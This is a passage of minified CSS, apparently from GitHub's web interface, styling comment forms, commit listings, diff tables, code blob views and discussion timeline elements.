ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit .dropdown-menu{width:260px;margin-top:8px;font-size:14px;line-height:1.4;white-space:normal}.dropdown-signed-commit .dropdown-menu::after{border-bottom-color:var(--color-canvas-subtle)}.dropdown-signed-commit .dropdown-menu-w{top:-28px;margin-top:0}.dropdown-signed-commit .dropdown-menu-w::after{border-bottom-color:transparent;border-left-color:var(--color-canvas-subtle)}.signed-commit-header{line-height:1.3;white-space:normal;border-collapse:separate;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.signed-commit-header .octicon-verified{color:var(--color-success-fg)}.signed-commit-header .octicon-unverified{color:var(--color-fg-muted)}.signed-commit-footer{font-size:12px;line-height:1.5}.signed-commit-cert-info{margin-bottom:4px}.signed-commit-cert-info td{vertical-align:top}.signed-commit-cert-info td:first-child{width:44px;padding-right:12px}.signed-commit-badge{display:inline-block;padding:1px 4px;font-size:12px;color:var(--color-fg-muted);vertical-align:middle;-webkit-user-select:none;user-select:none;background:none;border:1px solid var(--color-border-default);border-radius:6px}.signed-commit-badge:hover{text-decoration:none;border-color:var(--color-neutral-muted)}.signed-commit-badge.verified{color:var(--color-success-fg)}.signed-commit-badge.verified:hover{border-color:var(--color-success-emphasis)}.signed-commit-badge.unverified{color:var(--color-attention-fg)}.signed-commit-badge.unverified:hover{border-color:var(--color-attention-emphasis)}.signed-commit-badge-small{margin-top:-2px;margin-right:4px}.signed-commit-badge-medium{padding:4px 8px;font-size:12px;border-radius:6px}.signed-commit-badge-large{padding:4px 12px;margin-right:8px;font-size:14px;line-height:20px;border-radius:6px}.signed-commit-verified-label{color:#1e7e34}.signed-commit-signer-name{font-size:14px;text-align:left}.signed-commit-signer-name .signer{display:block;font-weight:600;color:var(--color-fg-default)}.table-of-contents{margin:16px 0}.table-of-contents li{padding:8px 0;list-style-type:none}.table-of-contents li+li{border-top:1px solid var(--color-border-muted)}.table-of-contents li>.octicon{margin-right:4px}.table-of-contents .toc-diff-stats{padding-left:16px;line-height:26px}.table-of-contents .toc-diff-stats .octicon{float:left;margin-top:4px;margin-left:-16px;color:#c6cbd1}.table-of-contents .toc-diff-stats .btn-link{font-weight:600}.table-of-contents .toc-diff-stats+.content{padding-top:4px}.table-of-contents .octicon-diff-removed{color:var(--color-danger-fg)}.table-of-contents .octicon-diff-renamed{color:var(--color-fg-muted)}.table-of-contents .octicon-diff-modified{color:var(--color-attention-fg)}.table-of-contents .octicon-diff-added{color:var(--color-success-fg)}.copyable-terminal{position:relative;padding:8px 55px 8px 8px;background-color:var(--color-canvas-subtle);border-radius:6px}.copyable-terminal-content{overflow:auto}.copyable-terminal-button{position:absolute;top:5px;right:5px}.copyable-terminal-button .zeroclipboard-button{float:right}.copyable-terminal-button .zeroclipboard-button .octicon{padding-left:1px;margin:0 auto}.blob-wrapper{overflow-x:auto;overflow-y:hidden}.blob-wrapper table tr:nth-child(2n){background-color:transparent}.page-edit-blob.height-full .CodeMirror{height:300px}.page-edit-blob.height-full .CodeMirror,.page-edit-blob.height-full .CodeMirror-scroll{display:flex;flex-direction:column;flex:1 1 auto}.blob-wrapper-embedded{max-height:240px;overflow-y:auto}.diff-table{width:100%;border-collapse:separate}.diff-table .blob-code.blob-code-inner{padding-left:22px}.diff-table .line-comments{padding:10px;vertical-align:top;border-top:1px solid var(--color-border-default)}.diff-table .line-comments:first-child+.empty-cell{border-left-width:1px}.diff-table tr:not(:last-child) .line-comments{border-top:1px solid var(--color-border-default);border-bottom:1px solid var(--color-border-default)}.diff-view .blob-code-marker-context::before,.diff-view .blob-code-marker-injected_context::before,.diff-view .blob-code-marker-addition::before,.diff-view .blob-code-marker-deletion::before{top:4px}.diff-view .line-alert,.diff-table .line-alert{position:absolute;left:-60px;margin:2px}.comment-body .diff-view .line-alert{left:0}.blob-num{position:relative;width:1%;min-width:50px;padding-right:10px;padding-left:10px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:20px;color:var(--color-fg-subtle);text-align:right;white-space:nowrap;vertical-align:top;cursor:pointer;-webkit-user-select:none;user-select:none}.blob-num:hover{color:var(--color-fg-default)}.blob-num::before{content:attr(data-line-number)}.blob-num.non-expandable{cursor:default}.blob-num.non-expandable:hover{color:var(--color-fg-subtle)}.blob-num-hidden::before{visibility:hidden}.blob-code{position:relative;padding-right:10px;padding-left:10px;line-height:20px;vertical-align:top}.blob-code-inner{overflow:visible;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;color:var(--color-fg-default);word-wrap:normal;white-space:pre}.blob-code-inner .x-first{border-top-left-radius:.2em;border-bottom-left-radius:.2em}.blob-code-inner .x-last{border-top-right-radius:.2em;border-bottom-right-radius:.2em}.blob-code-inner.highlighted,.blob-code-inner .highlighted{background-color:var(--color-attention-subtle);box-shadow:inset 2px 0 0 var(--color-attention-muted)}.blob-code-inner::selection,.blob-code-inner *::selection{background-color:var(--color-accent-muted)}.blob-code-inner.blob-code-addition,.blob-code-inner.blob-code-deletion{position:relative;padding-left:22px !important}.blob-code-marker::before{position:absolute;top:1px;left:8px;padding-right:8px;content:attr(data-code-marker)}.blob-code-context,.blob-code-addition,.blob-code-deletion{padding-left:22px}.blob-code-marker-addition::before{position:absolute;top:1px;left:8px;content:"+ "}.blob-code-marker-deletion::before{position:absolute;top:1px;left:8px;content:"- "}.blob-code-marker-context::before{position:absolute;top:1px;left:8px;content:" "}.blob-code-marker-injected_context::before{position:absolute;top:1px;left:8px;content:" "}.soft-wrap .diff-table{table-layout:fixed}.soft-wrap .blob-code{padding-left:18px;text-indent:-7px}.soft-wrap .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.soft-wrap .no-nl-marker{display:none}.soft-wrap .add-line-comment{margin-top:0;margin-left:-24px}.soft-wrap .blob-code-context,.soft-wrap .blob-code-addition,.soft-wrap .blob-code-deletion{padding-left:24px;text-indent:0}.blob-num-hunk,.blob-code-hunk,.blob-num-expandable{color:var(--color-fg-muted);vertical-align:middle}.blob-num-hunk,.blob-num-expandable{background-color:var(--color-diff-blob-hunk-num-bg)}.blob-code-hunk{padding-top:4px;padding-bottom:4px;background-color:var(--color-accent-subtle);border-width:1px 0}.blob-expanded .blob-num:not(.blob-num-context-outside-diff),.blob-expanded .blob-code:not(.blob-code-context){background-color:var(--color-canvas-subtle)}.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-num,.blob-expanded+tr.show-top-border:not(.blob-expanded) .blob-code{border-top:1px solid var(--color-border-muted)}.blob-expanded tr.show-top-border .blob-num-hunk,.blob-expanded tr.show-top-border .blob-num{border-top:1px solid var(--color-border-muted)}tr.show-top-border+.blob-expanded .blob-num,tr.show-top-border+.blob-expanded .blob-code{border-top:1px solid var(--color-border-muted)}.blob-num-expandable{width:auto;padding:0;font-size:12px;text-align:center}.blob-num-expandable .directional-expander{display:block;width:auto;height:auto;margin-right:-1px;color:var(--color-diff-blob-expander-icon);cursor:pointer}.blob-num-expandable .single-expander{padding-top:4px;padding-bottom:4px}.blob-num-expandable .directional-expander:hover{color:var(--color-fg-on-emphasis);text-shadow:none;background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.blob-code-addition{background-color:var(--color-diff-blob-addition-line-bg);outline:1px dotted transparent}.blob-code-addition .x{color:var(--color-diff-blob-addition-fg);background-color:var(--color-diff-blob-addition-word-bg)}.blob-num-addition{color:var(--color-diff-blob-addition-num-text);background-color:var(--color-diff-blob-addition-num-bg);border-color:var(--color-success-emphasis)}.blob-num-addition:hover{color:var(--color-fg-default)}.blob-code-deletion{background-color:var(--color-diff-blob-deletion-line-bg);outline:1px dashed transparent}.blob-code-deletion .x{color:var(--color-diff-blob-deletion-fg);background-color:var(--color-diff-blob-deletion-word-bg)}.blob-num-deletion{color:var(--color-diff-blob-deletion-num-text);background-color:var(--color-diff-blob-deletion-num-bg);border-color:var(--color-danger-emphasis)}.blob-num-deletion:hover{color:var(--color-fg-default)}.is-selecting{cursor:ns-resize !important}.is-selecting .blob-num{cursor:ns-resize !important}.is-selecting .add-line-comment,.is-selecting a{pointer-events:none;cursor:ns-resize !important}.is-selecting .is-hovered .add-line-comment{opacity:0}.is-selecting.file-diff-split{cursor:nwse-resize !important}.is-selecting.file-diff-split .blob-num{cursor:nwse-resize !important}.is-selecting.file-diff-split .empty-cell,.is-selecting.file-diff-split .add-line-comment,.is-selecting.file-diff-split a{pointer-events:none;cursor:nwse-resize !important}.selected-line{position:relative}.selected-line::after{position:absolute;top:0;left:0;display:block;width:100%;height:100%;box-sizing:border-box;pointer-events:none;content:"";background:var(--color-attention-subtle);mix-blend-mode:var(--color-diff-blob-selected-line-highlight-mix-blend-mode)}.selected-line.selected-line-top::after{border-top:1px solid var(--color-attention-muted)}.selected-line.selected-line-bottom::after{border-bottom:1px solid var(--color-attention-muted)}.selected-line:first-child::after,.selected-line.selected-line-left::after{border-left:1px solid var(--color-attention-muted)}.selected-line:last-child::after,.selected-line.selected-line-right::after{border-right:1px solid var(--color-attention-muted)}.is-commenting .selected-line.blob-code::before{position:absolute;top:0;left:-1px;display:block;width:4px;height:100%;content:"";background:var(--color-accent-emphasis)}.add-line-comment{position:relative;z-index:1;float:left;width:22px;height:22px;margin:-2px -10px -2px -32px;line-height:21px;color:var(--color-fg-on-emphasis);text-align:center;text-indent:0;cursor:pointer;background-color:var(--color-accent-emphasis);border-radius:6px;box-shadow:var(--color-shadow-medium);opacity:0;transition:transform .1s ease-in-out;transform:scale(0.8, 0.8)}.add-line-comment:hover{transform:scale(1, 1)}.is-hovered .add-line-comment,.add-line-comment:focus{opacity:1}.add-line-comment .octicon{vertical-align:text-top;pointer-events:none}.add-line-comment.octicon-check{background:#333;opacity:1}.inline-comment-form{border:1px solid #dfe2e5;border-radius:6px}.timeline-inline-comments{width:100%;table-layout:fixed}.timeline-inline-comments .inline-comments,.show-inline-notes .inline-comments{display:table-row}.inline-comments{display:none}.inline-comments .line-comments+.blob-num{border-left-width:1px}.inline-comments .timeline-comment{margin-bottom:10px}.inline-comments .inline-comment-form,.inline-comments .inline-comment-form-container{max-width:780px}.comment-holder{max-width:780px}.comment-holder+.comment-holder{margin-top:16px}.line-comments+.line-comments,.empty-cell+.line-comments{border-left:1px solid var(--color-border-muted)}.inline-comment-form-container .inline-comment-form,.inline-comment-form-container.open .inline-comment-form-actions{display:none}.inline-comment-form-container .inline-comment-form-actions,.inline-comment-form-container.open .inline-comment-form{display:block}body.full-width .container,body.full-width .container-lg,body.full-width .container-xl{width:100%;max-width:none;padding-right:20px;padding-left:20px}body.full-width .repository-content{width:100%}body.full-width .new-pr-form{max-width:980px}.file-diff-split{table-layout:fixed}.file-diff-split .blob-code+.blob-num{border-left:1px solid var(--color-border-muted)}.file-diff-split .blob-code-inner{word-wrap:break-word;white-space:pre-wrap}.file-diff-split .empty-cell{cursor:default;background-color:var(--color-neutral-subtle);border-right-color:var(--color-border-muted)}@media(max-width: 1280px){.file-diff-split .write-selected .comment-form-head{margin-bottom:48px !important}.file-diff-split markdown-toolbar{position:absolute;right:8px;bottom:-40px}}.submodule-diff-stats .octicon-diff-removed{color:var(--color-danger-fg)}.submodule-diff-stats .octicon-diff-renamed{color:var(--color-fg-muted)}.submodule-diff-stats .octicon-diff-modified{color:var(--color-attention-fg)}.submodule-diff-stats .octicon-diff-added{color:var(--color-success-fg)}.BlobToolbar{left:-17px}.BlobToolbar-dropdown{margin-left:-2px}.pl-token:hover,.pl-token.active{cursor:pointer;background:#ffea7f}.discussion-timeline{position:relative;float:left}.discussion-timeline::before{position:absolute;top:0;bottom:0;left:72px;z-index:0;display:block;width:2px;content:"";background-color:var(--color-border-default)}.discussion-sidebar-item{padding-top:16px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-item .btn .octicon{margin-right:0}.discussion-sidebar-item .muted-icon{color:var(--color-fg-muted)}.discussion-sidebar-item .muted-icon:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-item+.discussion-sidebar-item{margin-top:16px;border-top:1px solid var(--color-border-muted)}.discussion-sidebar-item .select-menu{position:relative}.discussion-sidebar-item .select-menu-modal-holder{top:25px;right:-1px;left:auto}.discussion-sidebar-heading{margin-bottom:8px;font-size:12px;color:var(--color-fg-muted)}.discussion-sidebar-toggle{padding:4px 0;margin:-4px 0 4px}.discussion-sidebar-toggle .octicon{float:right;color:var(--color-fg-muted)}.discussion-sidebar-toggle:hover{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.discussion-sidebar-toggle:hover .octicon{color:inherit}button.discussion-sidebar-toggle{display:block;width:100%;font-weight:600;text-align:left;background:none;border:0}.sidebar-progress-bar .progress-bar{height:8px;margin-bottom:2px;border-radius:6px}.sidebar-assignee .css-truncate-target{max-width:110px}.sidebar-assignee .assignee{font-weight:600;color:var(--color-fg-muted);vertical-align:middle}.sidebar-assignee .assignee:hover{color:var(--color-accent-fg);text-decoration:none}.sidebar-assignee .reviewers-status-icon{width:14px}.sidebar-assignee .octicon{margin-top:2px}.thread-subscribe-form.is-error .thread-subscribe-button{color:var(--color-danger-fg)}.sidebar-notifications{position:relative}.sidebar-notifications .thread-subscription-status{padding:0;margin:0;border:0}.sidebar-notifications .thread-subscription-status .thread-subscribe-form{display:block}.sidebar-notifications .thread-subscription-status .reason{padding:0;margin:4px 0 0}.sidebar-notifications .thread-subscription-status .btn-sm{display:block;width:100%}.participation .participant-avatar{float:left;margin:4px 0 0 4px}.participation a{color:var(--color-fg-muted)}.participation a:hover{color:var(--color-accent-fg);text-decoration:none}.participation-avatars{margin-left:-4px}.participation-avatars::before{display:table;content:""}.participation-avatars::after{display:table;clear:both;content:""}.participation-more{float:left;margin:8px 4px 0}.inline-comment-form .form-actions,.timeline-new-comment .form-actions{padding:0 8px 8px}.inline-comment-form::before{display:table;content:""}.inline-comment-form::after{display:table;clear:both;content:""}.inline-comment-form .tabnav-tabs{display:inline-block}.inline-comment-form .form-actions{float:right}.gh-header-actions{float:right;margin-top:4px}.gh-header-actions .btn-sm{float:left;margin-left:4px}.gh-header-actions .btn-sm .octicon{margin-right:0}.gh-header{background-color:var(--color-canvas-default)}.gh-header .gh-header-sticky{height:1px}.gh-header .gh-header-sticky .meta{font-size:12px}.gh-header .gh-header-sticky .sticky-content,.gh-header .gh-header-sticky .gh-header-shadow{display:none}.gh-header .gh-header-sticky.is-stuck{z-index:110;height:60px}.gh-header .gh-header-sticky.is-stuck .sticky-content{display:block}.gh-header .gh-header-sticky.is-stuck .css-truncate-target{max-width:150px}.gh-header .gh-header-sticky.is-stuck+.gh-header-shadow{position:fixed;top:0;right:0;left:0;z-index:109;display:block;height:60px;content:"";background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-default)}.gh-header .gh-header-edit{display:none}.gh-header .gh-header-meta .base-ref{display:inline-block}.gh-header .gh-header-meta .commit-ref-dropdown{display:none}.gh-header.open .gh-header-show{display:none}.gh-header.open .gh-header-edit{display:block}.gh-header.open .gh-header-meta .base-ref{display:none}.gh-header.open .gh-header-meta .commit-ref-dropdown{display:inline-block;margin-top:-4px;vertical-align:top}.gh-header-title{margin-right:150px;margin-bottom:0;font-weight:400;line-height:1.125;word-wrap:break-word}.gh-header-no-access .gh-header-title{margin-right:0}.gh-header-number{font-weight:300;color:var(--color-fg-muted)}.gh-header-meta{padding-bottom:8px;margin-top:8px;font-size:14px;color:var(--color-fg-muted);border-bottom:1px solid var(--color-border-default)}.gh-header.issue .gh-header-meta{margin-bottom:16px}.gh-header.pull .gh-header-meta{padding-bottom:0;border-bottom:0}.gh-header-meta .commit-ref .css-truncate-target,.gh-header-meta .commit-ref:hover .css-truncate-target{max-width:80vw}.gh-header-meta .State{margin-right:8px}.gh-header-meta .avatar{float:left;margin-top:-4px;margin-right:4px}.timeline-comment-wrapper{position:relative;padding-left:56px;margin-top:16px;margin-bottom:16px}.timeline-comment-avatar{float:left;margin-left:-56px;border-radius:6px}.timeline-comment-avatar .avatar{width:40px;height:40px}.timeline-comment-avatar .avatar-child{width:20px;height:20px}.timeline-comment{position:relative;color:var(--color-fg-default);background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.timeline-comment.will-transition-once{transition:border-color .65s ease-in-out}.timeline-comment.will-transition-once .timeline-comment-header{transition:background-color .65s ease,border-bottom-color .65s ease-in-out}.timeline-comment.will-transition-once::before,.timeline-comment.will-transition-once::after{transition:border-right-color .65s ease-in-out}.timeline-comment.current-user{border-color:var(--color-accent-muted)}.timeline-comment.current-user .timeline-comment-header{background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.current-user .Label{border-color:var(--color-accent-muted)}.timeline-comment.current-user .previewable-comment-form .comment-form-head.tabnav{color:var(--color-accent-muted);background-color:var(--color-accent-subtle);border-bottom-color:var(--color-accent-muted)}.timeline-comment.unread-item,.timeline-comment.is-internal{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .timeline-comment-header,.timeline-comment.is-internal .timeline-comment-header{background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment.unread-item .Label,.timeline-comment.is-internal .Label{border-color:var(--color-attention-muted)}.timeline-comment.unread-item .previewable-comment-form .comment-form-head.tabnav,.timeline-comment.is-internal .previewable-comment-form .comment-form-head.tabnav{color:var(--color-attention-muted);background-color:var(--color-attention-subtle);border-bottom-color:var(--color-attention-muted)}.timeline-comment:empty{display:none}.timeline-comment .comment+.comment{border-top:1px solid var(--color-border-default)}.timeline-comment .comment+.comment::before,.timeline-comment .comment+.comment::after{display:none}.timeline-comment .comment+.comment .timeline-comment-header{border-top-left-radius:0;border-top-right-radius:0}.timeline-comment--caret::after,.timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-subtle), var(--color-canvas-subtle))}.timeline-comment--caret::before{background-color:var(--color-border-default)}.is-pending .timeline-comment--caret::after,.is-pending .timeline-comment--caret::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.is-pending .timeline-comment--caret::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.is-pending .timeline-comment--caret::before{background-color:var(--color-attention-emphasis)}.timeline-comment--caret.current-user::after,.timeline-comment--caret.current-user::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.current-user::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) 